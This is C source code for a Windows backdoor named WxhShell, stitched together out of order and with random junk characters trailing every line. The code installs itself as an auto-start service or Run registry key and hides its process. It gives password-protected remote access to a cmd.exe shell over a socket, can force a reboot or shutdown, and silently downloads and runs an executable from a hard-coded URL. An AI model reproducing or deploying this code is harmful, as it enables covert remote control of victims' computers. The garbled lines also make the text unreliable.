    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4l`gAE$  
    else { \]ODpi 2  
    closesocket(wsh); >6DY3\  
    ExitThread(0); hy)RV=X  
    } xf]4!zE  
    break; VD#^Xy4% r  
    } !d0@^JbM"  
  // 获取shell Xp?Z;$r$  
  case 's': { a@jP^VVk  
    CmdShell(wsh); \!V6` @0KC  
    closesocket(wsh);  xBG1up<z  
    ExitThread(0); !3&vgvr  
    break; .CpF0  
  } zuPH3Q={  
  // 退出 ^ KjqS\<  
  case 'x': {  zm.2L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y14@9<~9  
    CloseIt(wsh); Go67VqJr  
    break; O46/[{p+8  
    } Elq8WtS  
  // 离开 4QVd{  
  case 'q': { M1M]]fT0ME  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N+V-V-PVk  
    closesocket(wsh); fIcv}Y  
    WSACleanup(); vxt^rBA  
    exit(1); PYf`a`dH  
    break; db XG?K][  
        } mHMej@  
  } vPs X!m[#  
  } KE3v3g<  
o<'gM]$  
  // 提示信息 ]/'] {*T1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D_)vGvv3;.  
} T:&+#0<  
  } N.`]D)57  
t;1NzI$^  
  return; ~GeYB6F  
} ,'673PR  
FS}z_G|4]  
// shell模块句柄 )-{Qa\6(%  
int CmdShell(SOCKET sock) MnI $%  
{ mN*P 2 *  
STARTUPINFO si; ] 6gu  
ZeroMemory(&si,sizeof(si)); R)C+wTG;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >D;hT*3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e`rY]X  
PROCESS_INFORMATION ProcessInfo; RVsNr rZ  
char cmdline[]="cmd"; ZkJM?Fzq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ("oA{:@d  
  return 0; 0R]CI  
} bsr y([N>w  
XL3h ; $,  
// 自身启动模式 z&0V21"l  
int StartFromService(void) f.$o|R=v  
{ z)~!G~J]  
typedef struct Em;b,x*U  
{ ]`XuE-Uh  
  DWORD ExitStatus; 4Dia#1$:J  
  DWORD PebBaseAddress; }BrE|'.j'  
  DWORD AffinityMask; gNd J=r4  
  DWORD BasePriority; YeLOd  
  ULONG UniqueProcessId; ^IpiNY/%Q  
  ULONG InheritedFromUniqueProcessId; 1#<E]<='t  
}   PROCESS_BASIC_INFORMATION; }(K6 YL  
hI8C XG  
PROCNTQSIP NtQueryInformationProcess; g4 X,*H  
#U}U>4'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d/>,U7eS[+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?Q3~n^  
J":9  
  HANDLE             hProcess; @;}H<&"  
  PROCESS_BASIC_INFORMATION pbi; }$1 ;<  
Ag6 (  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0Y 2^}u@5  
  if(NULL == hInst ) return 0; [BBKj)IK  
F/SsiUBS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cpcd`y=IN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0AKwZ' &H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E3skC%}  
|mmG s  
  if (!NtQueryInformationProcess) return 0; He!!oKK>  
v`BG1&/|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cvA\C_  
  if(!hProcess) return 0; I)6Sbt JV^  
#L0I+ K,K\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K, 5ax@  
/AW>5r]  
  CloseHandle(hProcess); B7MW" y  
] <3?=$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5ba[6\Af  
if(hProcess==NULL) return 0; w WU_?Dr_~  
znO00qX  
HMODULE hMod; dt+  4$  
char procName[255]; &R*5;/ !  
unsigned long cbNeeded; b,R'T+4[  
5]l7Z35  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PAU+C_P  
@a\SR'8  
  CloseHandle(hProcess); vCSB8R  
c/Yi0Rl)  
if(strstr(procName,"services")) return 1; // 以服务启动 WnzPPh3PJ  
oQnk+>}%  
  return 0; // 注册表启动 f<:U"E.  
} KBR0p&MN  
;Ph)BY<  
// 主模块 }@%ahRGx%9  
int StartWxhshell(LPSTR lpCmdLine) BQ&q<6Tk  
{ V )k, 9=  
  SOCKET wsl; y32++b!  
BOOL val=TRUE; MW~B[%/  
  int port=0; 9[{>JRm.  
  struct sockaddr_in door; `L#?eQ{  
2^#UO=ct  
  if(wscfg.ws_autoins) Install(); ;sR6dT)  
?_>^<1I1  
port=atoi(lpCmdLine); G=HxD4l  
NJf(,Mr*|  
if(port<=0) port=wscfg.ws_port; ]}7rWs[|1  
pEj^x[b`^  
  WSADATA data; pptM &Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MlK`sH6  
zWs*kTtA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .*~u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h+~df(S.  
  door.sin_family = AF_INET; _G[I2]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *;e@t4  
  door.sin_port = htons(port); ;c- ]bhBB  
2{B(j&{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]p&<nK,  
closesocket(wsl); Jrd4a~XP  
return 1; Vt=(2d5:p  
} (F[/~~  
O+p-1 C$\  
  if(listen(wsl,2) == INVALID_SOCKET) { tNuCxb-  
closesocket(wsl); j'Y"/<  
return 1; Dbdzb m7  
} RC{Z)M{~  
  Wxhshell(wsl); 8$v zpu  
  WSACleanup(); /;NE]{K  
Bd9hf`% 2  
return 0; +lgF/y6  
gMBQtPNM  
} 2K rqY  
L;M^>{>  
// 以NT服务方式启动 s"',370  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `}~ )1'(#/  
{  Q A)9  
DWORD   status = 0; {jM<t  
  DWORD   specificError = 0xfffffff; c Z6p^  
P% +or*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wda\a.bXT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P"9@8aLB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vDW&pF_eI>  
  serviceStatus.dwWin32ExitCode     = 0; 4l ZJb  
  serviceStatus.dwServiceSpecificExitCode = 0; HKiVEg  
  serviceStatus.dwCheckPoint       = 0; H*{k4  
  serviceStatus.dwWaitHint       = 0; mvTyx7 h=  
`e?;vA&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G?1x+H;o5  
  if (hServiceStatusHandle==0) return; S -6"f /  
";_K x={  
status = GetLastError(); PG6L]o^  
  if (status!=NO_ERROR) 7mn,{2  
{ `xX4!^0Hm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xvu)  
    serviceStatus.dwCheckPoint       = 0; P 0Efh?oZ  
    serviceStatus.dwWaitHint       = 0; Y$x"4=~  
    serviceStatus.dwWin32ExitCode     = status; R] Disljq  
    serviceStatus.dwServiceSpecificExitCode = specificError; YO(:32S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p584)"[*t  
    return; nR o=J5tY  
  } X"k^89y$  
'G l;Ir^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0Q$~k  
  serviceStatus.dwCheckPoint       = 0; 'je8k7`VA  
  serviceStatus.dwWaitHint       = 0; ] ^; b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B9LSxB  
} R2N^'  
13.{Y)  
// 处理NT服务事件,比如:启动、停止 bk7^%O>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &gWMl`3^*!  
{ @TA8^ND  
switch(fdwControl) JN&MyA"  
{ m)@Q_{=6M  
case SERVICE_CONTROL_STOP: Mr=}B6`  
  serviceStatus.dwWin32ExitCode = 0; "J P{Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >HcYVp~G  
  serviceStatus.dwCheckPoint   = 0; TwM1M["3  
  serviceStatus.dwWaitHint     = 0; ,b6kTQq  
  { tg7C;rJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {5QosC+o6Q  
  } H}h~~7E  
  return; 0 OAqA?Z  
case SERVICE_CONTROL_PAUSE: M)"]$TM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~VqFZasV  
  break; yX7CN5vVl  
case SERVICE_CONTROL_CONTINUE: }c` ?0FQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (B>)2:T1  
  break; TRgY:R_  
case SERVICE_CONTROL_INTERROGATE: M8^.19q;  
  break; b&=]S(  
}; 7.Ml9{M/i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <`c25ih.4  
} v9E+(4I9_  
/B,B4JI)/  
// 标准应用程序主函数 ?CH?kP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0NQ7#A  
{ {A]k%74-a  
0rku4T  
// 获取操作系统版本 a9#W9eP  
OsIsNt=GetOsVer(); 20rN,@2<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n> MD\ZS  
N@cMM1  
  // 从命令行安装 5mI?pfm  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6Cl+KcJH  
v]WH8GI  
  // 下载执行文件 9U2Px$E  
if(wscfg.ws_downexe) { ElQJ\%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uQ:Qb|  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6oj4Rg+(  
} DUZQO{V  
EkRdpiLB  
if(!OsIsNt) { Q&u>7_, Du  
// 如果时win9x,隐藏进程并且设置为注册表启动 Az U|p  
HideProc(); MxY50 ^}(  
StartWxhshell(lpCmdLine); C!!mOAhJ  
} H9%l?r5  
else *I:mw8t  
  if(StartFromService()) iY0,WT}&n  
  // 以服务方式启动 13ipaz  
  StartServiceCtrlDispatcher(DispatchTable); 4dW3'"R"L  
else 6RH/V:YY  
  // 普通方式启动 +jp|Y?6Z  
  StartWxhshell(lpCmdLine); gWFL  
UskZ%J  
return 0; /GsSrP_?]  
} o*%3[HmV  
*Jb_=j*)  
|.j^G2x  
b\1+kB/8  
=========================================== n<{aPLQ  
{hxW,mmA  
M} O[`Fx{W  
s,84*6u  
4$%`Qh>yA  
65lOX$*{-  
" +``>,O6  
d2ohW|  
#include <stdio.h> &c20x+  
#include <string.h>  "\`>2  
#include <windows.h> "VV914*z  
#include <winsock2.h> j,}4TDWa  
#include <winsvc.h> [FB&4>V/  
#include <urlmon.h> !\aV 0,  
rwoF}}  
#pragma comment (lib, "Ws2_32.lib") %h0D)6 j  
#pragma comment (lib, "urlmon.lib") Am#m>^!qb  
BpH|/7  
#define MAX_USER   100 // 最大客户端连接数 e:qo_eSC^-  
#define BUF_SOCK   200 // sock buffer 0HjJaML  
#define KEY_BUFF   255 // 输入 buffer ab{;Z 5O  
!{IC[g n  
#define REBOOT     0   // 重启 jUYF.K&  
#define SHUTDOWN   1   // 关机 YjFWC!Qj$  
=]T|h  
#define DEF_PORT   5000 // 监听端口 [d0%.+U  
V{KjRSVf=  
#define REG_LEN     16   // 注册表键长度 m6-76ma,hi  
#define SVC_LEN     80   // NT服务名长度 2.]~*7   
P!5Z]+B#  
// 从dll定义API AQ-mE9>P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^ b@!dS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?F1wh2o q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "s% 686Vz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B jYOfu'~z  
H;qJH1EdD  
// wxhshell配置信息 )+?HI^-[S  
struct WSCFG { _ ~|Q4AJ  
  int ws_port;         // 监听端口 {-Yee[d<?  
  char ws_passstr[REG_LEN]; // 口令 <p09oZ{6  
  int ws_autoins;       // 安装标记, 1=yes 0=no [ qiOd!  
  char ws_regname[REG_LEN]; // 注册表键名 INOH{`}Ew  
  char ws_svcname[REG_LEN]; // 服务名 N9pwWg&<+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &1=g A.ZR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t{~@I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hv3W{|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (e(Rr 4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HQl~Dh0DJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I:nI6gF  
+1x)z~q=  
}; zFOL(s.h|0  
jSB'>m]  
// default Wxhshell configuration 1ADv?+j)A/  
struct WSCFG wscfg={DEF_PORT, ^L ]B5,} -  
    "xuhuanlingzhe", O'OFz}x),  
    1, A9t8`|1"%H  
    "Wxhshell", M</Wd{.g"  
    "Wxhshell", p/N62G  
            "WxhShell Service", +SyUWoM  
    "Wrsky Windows CmdShell Service", b]w[*<f?  
    "Please Input Your Password: ", 0:. 6rp  
  1, ":V%(c  
  "http://www.wrsky.com/wxhshell.exe", B.}cB'|  
  "Wxhshell.exe" V(r`.75  
    }; _@~PL>g"p  
 f -7S:,  
// 消息定义模块 S4)A6z$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kAeNQRjR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KYf;_C,$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l/M[am  
char *msg_ws_ext="\n\rExit."; 5E`JD  
char *msg_ws_end="\n\rQuit."; ZEqE$:  
char *msg_ws_boot="\n\rReboot..."; u7[pLtOwN  
char *msg_ws_poff="\n\rShutdown..."; $]1qbE+  
char *msg_ws_down="\n\rSave to "; 4j^bpfb,  
i$["aP~G  
char *msg_ws_err="\n\rErr!"; D!S8oKW  
char *msg_ws_ok="\n\rOK!"; ~?CS_B *  
* .o"ZVl  
char ExeFile[MAX_PATH]; %{U"EZ]D!  
int nUser = 0; z<i,D08|d  
HANDLE handles[MAX_USER]; ;7L;  
int OsIsNt; 3 &Sp@,  
k1 RV'  
SERVICE_STATUS       serviceStatus; /eb-'m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !O8.#+  
IhfZLE.,  
// 函数声明 cN5"i0xk  
int Install(void); wh*:\_!0\  
int Uninstall(void); ZL,6_L/  
int DownloadFile(char *sURL, SOCKET wsh); t|_{;!^  
int Boot(int flag); FD))'!>  
void HideProc(void);  jC4O`  
int GetOsVer(void); o<nS_x  
int Wxhshell(SOCKET wsl); &1l~&,,  
void TalkWithClient(void *cs); *t]v}ZV*  
int CmdShell(SOCKET sock); jI A#!4  
int StartFromService(void); }qL~KA{&  
int StartWxhshell(LPSTR lpCmdLine); >;7a1+`3  
$cu]_gu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +X[8wUm|^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SwX@I6huM  
n7S; Xve#  
// 数据结构和表定义 djfU:$!j&  
SERVICE_TABLE_ENTRY DispatchTable[] = >9MS" t  
{ I3PQdAs~&h  
{wscfg.ws_svcname, NTServiceMain}, *x!LKIpv  
{NULL, NULL} ?^. Pt  
}; 8 ip^]  
`H"vR: ~{  
// 自我安装 onib x^Fcd  
int Install(void) NNmM#eB:4  
{ S}b~_}  
  char svExeFile[MAX_PATH]; 6uqUiRs()  
  HKEY key;  HD H  
  strcpy(svExeFile,ExeFile); lCHo+>\Z  
a5 bPEJ=I  
// 如果是win9x系统,修改注册表设为自启动 Cdmy.gx^  
if(!OsIsNt) { :]-$dEu&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KGD'mByt"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w,/6B&|  
  RegCloseKey(key); mqw 84u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \C7q4p?8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C bQ4Y  
  RegCloseKey(key); ) $J7sa  
  return 0; W"t"X ~T3  
    } iu|v9+  
  } C5MqwNX  
} 7 OWsHlU  
else { &r:=KT3  
+|0 t  
// 如果是NT以上系统,安装为系统服务 >: $"a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x;(g  
if (schSCManager!=0) lC4PKm no  
{ bJ6p,]g  
  SC_HANDLE schService = CreateService ol}`Wwy  
  ( .6Fsw    
  schSCManager, fM2^MUp[=1  
  wscfg.ws_svcname, wV>c" J  
  wscfg.ws_svcdisp, YXRjx .srf  
  SERVICE_ALL_ACCESS, WL:0R>0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c 6q/X*  
  SERVICE_AUTO_START, "koo` J  
  SERVICE_ERROR_NORMAL, *6P'q4 )  
  svExeFile, e=L*&X  
  NULL, \XDmK   
  NULL, [8z&-'J=  
  NULL, cJ/4G l  
  NULL, 8)?_{  
  NULL #N9d$[R*  
  ); d- kZt@DL=  
  if (schService!=0) OpUA{P  
  { lQ$+JX;n(y  
  CloseServiceHandle(schService); 1$(  
  CloseServiceHandle(schSCManager); $+jy/:]D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m9!DOL1pl  
  strcat(svExeFile,wscfg.ws_svcname); A_F0\ EN*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }*Zo6{B-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); - wWRm  
  RegCloseKey(key); ~bGC/I;W>  
  return 0; %6HX*_Mr&  
    } ?;RD u[eD  
  } ^RDU p5,T  
  CloseServiceHandle(schSCManager); %qi%$  
} `;/XK,m-  
} uY]T:UVk  
]5)"gL%H`  
return 1; .<.#aY;N  
} cmIT$?J  
WGMb8 /{$P  
// 自我卸载 ~1ps7[  
int Uninstall(void) ](nH{aY!  
{ z<h|#@\  
  HKEY key; 1daL y  
DJ|BM+  
if(!OsIsNt) { y@aKNWy}$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Qsk}Gv  
  RegDeleteValue(key,wscfg.ws_regname); ^Et ,TF\  
  RegCloseKey(key); b!,ja?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O]bKNA.5  
  RegDeleteValue(key,wscfg.ws_regname); ofK='G .  
  RegCloseKey(key); #fj[kq)&S  
  return 0; s>r ^r%uK  
  } gi1j/j7  
} k}s+ca!B  
} B.RRdK+:  
else { \OA L Or  
<r3Jf}%tT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C]Q>*=r  
if (schSCManager!=0) bs P6\'\4  
{ P=Puaz5&{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ? oc+ 1e  
  if (schService!=0) ]LVnt-q  
  { U3+A MVnB  
  if(DeleteService(schService)!=0) { -$9~xX  
  CloseServiceHandle(schService); SBz/VQ  
  CloseServiceHandle(schSCManager); BCBUb  
  return 0; w?S8@|MK  
  } #@E(<Pu4`  
  CloseServiceHandle(schService); P#v^"}.Wd  
  } F3 Y<ZbxT  
  CloseServiceHandle(schSCManager); B*2{M  
} b*`fLrqV.  
} 0Gx*'B=  
JSRg?p\  
return 1; *#6|!%?g  
} V_lGj  
cCk1'D|X[e  
// 从指定url下载文件 pagC(F  
int DownloadFile(char *sURL, SOCKET wsh) 8:<1|]]  
{ O"8P#Ed  
  HRESULT hr; ;AltNGcM  
char seps[]= "/"; ~ur)f AuF2  
char *token; O/$ v69:  
char *file; Hva{A #  
char myURL[MAX_PATH]; a}w&dE$!-  
char myFILE[MAX_PATH]; pJn>oGeJ&  
@BXaA0F4  
strcpy(myURL,sURL); Kn. iyR  
  token=strtok(myURL,seps); {o {#]fbO%  
  while(token!=NULL) |veBq0U  
  { t"tNtLI  
    file=token; q 7`   
  token=strtok(NULL,seps); B6uf;Yc  
  } -CwWs~!  
3}yraX6r!  
GetCurrentDirectory(MAX_PATH,myFILE); h~ZNHSP:  
strcat(myFILE, "\\"); "~Us#4>  
strcat(myFILE, file); bje' Oolc  
  send(wsh,myFILE,strlen(myFILE),0); 9c%(]Rn:  
send(wsh,"...",3,0); Gy$o7|PA"{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g{]ej  
  if(hr==S_OK) sE}sE=\  
return 0; #|q;t   
else ,rXW`7!2  
return 1; bu;vpNa  
]Px:d+wX:  
} XGL"gD   
aK-N}T  
// 系统电源模块 eZ[#+0J  
int Boot(int flag) iKY-;YK  
{ jD<9=B(g  
  HANDLE hToken; :ECw \_"0$  
  TOKEN_PRIVILEGES tkp; C>M6&=  
6mX:=Q  
  if(OsIsNt) { %bN"bxv^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \/pVcR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]2g5Ka[>w  
    tkp.PrivilegeCount = 1;  POkXd^pI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U24V55ZnI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2 e )  
if(flag==REBOOT) { =y`-sU Hx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p {w}  
  return 0; H#_}^cGPR=  
} =xl7vHn7  
else { 3KbUHSx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Idt@Hk5<&  
  return 0; nsy !p5o  
} (gFQ K[  
  }  ;I[ .  
  else { jD$;q7fB  
if(flag==REBOOT) { i_'|:Uy*F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \t[ hg  
  return 0; xtG)^x!  
} Ey 0>L  
else { (8+.#1!*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  zgZi  
  return 0; %jYQ  
} =lw4 H_  
} "0p +SZ~D  
KBp!zSl  
return 1; +F#=`+V  
} y=y/d>=w  
7/$nA<qM  
// win9x进程隐藏模块 bgkbwE  
void HideProc(void) ? Yynd  
{ ^d5gz0d  
`HMligT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^R&_}bp  
  if ( hKernel != NULL ) ZdJVs/33Vn  
  { k:&?$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S}XB |  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TZvBcNi   
    FreeLibrary(hKernel); eWqVh[  
  } 6z%&A]6k:  
A,-[/Z K/  
return; fJ|Bu("N  
} I\F=s-VVY  
;@=@N9q K  
// 获取操作系统版本 + 3~Gc<OO  
int GetOsVer(void) 59"Nn\}3gE  
{ ~7)rKHau  
  OSVERSIONINFO winfo; =B ,_d0Id  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wd2P/y42;;  
  GetVersionEx(&winfo); wnZ*k(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pU'`9f Li_  
  return 1; wUZ(Tin  
  else ~I8"l@H>  
  return 0; *cb D&R\  
} 7oqn;6<[>,  
,i$(yx?  
// 客户端句柄模块 :*w:eKk  
int Wxhshell(SOCKET wsl) i&SBW0)  
{ ;{F;e)${M  
  SOCKET wsh; 4,R\3`b  
  struct sockaddr_in client; xYzcV%-Pm  
  DWORD myID; *6\`A!C  
=c5 /cpZ^  
  while(nUser<MAX_USER) w$<fSe7  
{ h>`'\qy  
  int nSize=sizeof(client); KWZNu &)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G3^n_]Jb  
  if(wsh==INVALID_SOCKET) return 1; S|u1QGB  
)MX1776kU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a_#eGe>  
if(handles[nUser]==0) -$!Pf$l@  
  closesocket(wsh); ?6l,   
else O<H@:W #k  
  nUser++;   _c7  
  } EF7|%N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q_m#BE;t  
E)Zd{9A5)  
  return 0; " :nVigw&  
} 9Av- ;!]  
BX)cV  
// 关闭 socket vG Lb2Q  
void CloseIt(SOCKET wsh) ` a<|CcUGU  
{ W2o8Fu   
closesocket(wsh); PTV`=vtj  
nUser--; HDXjH|of  
ExitThread(0); 1_E3DXe  
} HuLm!tCu  
2*",{m  
// 客户端请求句柄 1J%qbh  
void TalkWithClient(void *cs) `?S?)0B  
{ x`|tT%q@l  
0{Ll4  
  SOCKET wsh=(SOCKET)cs; b+#~N>|  
  char pwd[SVC_LEN]; k~EPVJh"  
  char cmd[KEY_BUFF]; ;cHI3V  
char chr[1]; (( IBaEq  
int i,j; a0W\?  
xTawG?"D  
  while (nUser < MAX_USER) { IF?B`TmZ  
L}S4Zz18  
if(wscfg.ws_passstr) { /WgWe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '!L1z45  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #3[b|cL  
  //ZeroMemory(pwd,KEY_BUFF); }c#/1J7  
      i=0; g[+Q~/yq  
  while(i<SVC_LEN) { (c|qX-%rC  
^{+:w:g  
  // 设置超时 X|B;>q  
  fd_set FdRead; DczF0Ow  
  struct timeval TimeOut; \osQwGPV  
  FD_ZERO(&FdRead); Z!l!3(<G.f  
  FD_SET(wsh,&FdRead); bvRGTOxO  
  TimeOut.tv_sec=8; /{)cI^9  
  TimeOut.tv_usec=0; /g7?,/vnZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b1^Yxe#L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %~(i[Ur;  
]@}BdMlHp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g*imswj7  
  pwd=chr[0]; 7Cp_ 41._  
  if(chr[0]==0xd || chr[0]==0xa) { cW^) $>A  
  pwd=0; c^gIK1f-  
  break; R*fR?  
  } a-2 {x2O  
  i++; y%l#lz=6  
    } QNwAuH T  
p+D 6Z'B  
  // 如果是非法用户,关闭 socket 8J U~Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <5vB{)Tq  
} ;7*@Gf}R  
^#nWgo7{7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2![W N*N>O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~o5iCt;w  
%"fKZ  
while(1) { 3(p6ak2lv  
%-|q3 ^s  
  ZeroMemory(cmd,KEY_BUFF); -RDs{c`y%N  
bj{f[nZ d  
      // 自动支持客户端 telnet标准   )B4c;O4t  
  j=0; ^C| 9K>M  
  while(j<KEY_BUFF) { a/#,Y<kJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3mz>Y*^?0  
  cmd[j]=chr[0]; 'PbA/MN  
  if(chr[0]==0xa || chr[0]==0xd) { W/Q%%)J  
  cmd[j]=0; P?7b,a95O  
  break; 2MeavTr  
  } X+@,vCC  
  j++; 3vD,hL`&  
    } 6LQO>k  
@'4D9A  
  // 下载文件 RtL'fd  
  if(strstr(cmd,"http://")) { _3[BS9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6s2g+[  
  if(DownloadFile(cmd,wsh)) Ma#-'J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^u,x~nPXg  
  else  '|T=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OG`O i^2  
  } 0yNlf-O  
  else { o#6}?g.  
}iAi`_\0;  
    switch(cmd[0]) { ~T9[\nU\  
  it vdzPO  
  // 帮助 a| cD{d  
  case '?': { rd{( E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SbivW5|61  
